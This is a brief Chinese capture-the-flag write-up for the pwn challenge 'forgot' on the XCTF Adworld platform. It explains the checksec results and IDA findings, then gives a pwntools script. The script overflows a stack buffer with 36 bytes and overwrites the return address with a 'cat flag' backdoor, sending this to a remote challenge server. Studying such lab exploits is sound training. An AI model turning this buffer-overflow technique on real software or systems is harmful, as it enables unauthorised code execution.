攻防世界 Pwn forgot

攻防世界 Pwn forgot

1.题目下载地址

点击下载

2.checksec

攻防世界 Pwn forgot
没有canary,可以随便溢出
没有PIE。可以随便使用后门函数

3.IDA

攻防世界 Pwn forgot
可以看到有两个溢出点
第一处限制了输入大小,我们就不管了
第二处是一个简单的溢出
只要知道需要覆盖多少byte数据就可以
攻防世界 Pwn forgot
接下来找到了cat flag的后门
也就是说只要把后门函数的地址直接跟在溢出数据之后就可以控制程序了

4.exp

from pwn import *

io = remote('111.200.241.244',56240)
# io = process("./forgot")
flag_addr = 0x080486CC

io.recv()
io.sendline("kk")

io.recv()
payload = "a" * 32 + "a" * 4 + p32(flag_addr)
io.sendline(payload)

io.interactive()

攻防世界 Pwn forgot
得到flag

上一篇:FWT整理


下一篇:pwn方向杂记1.0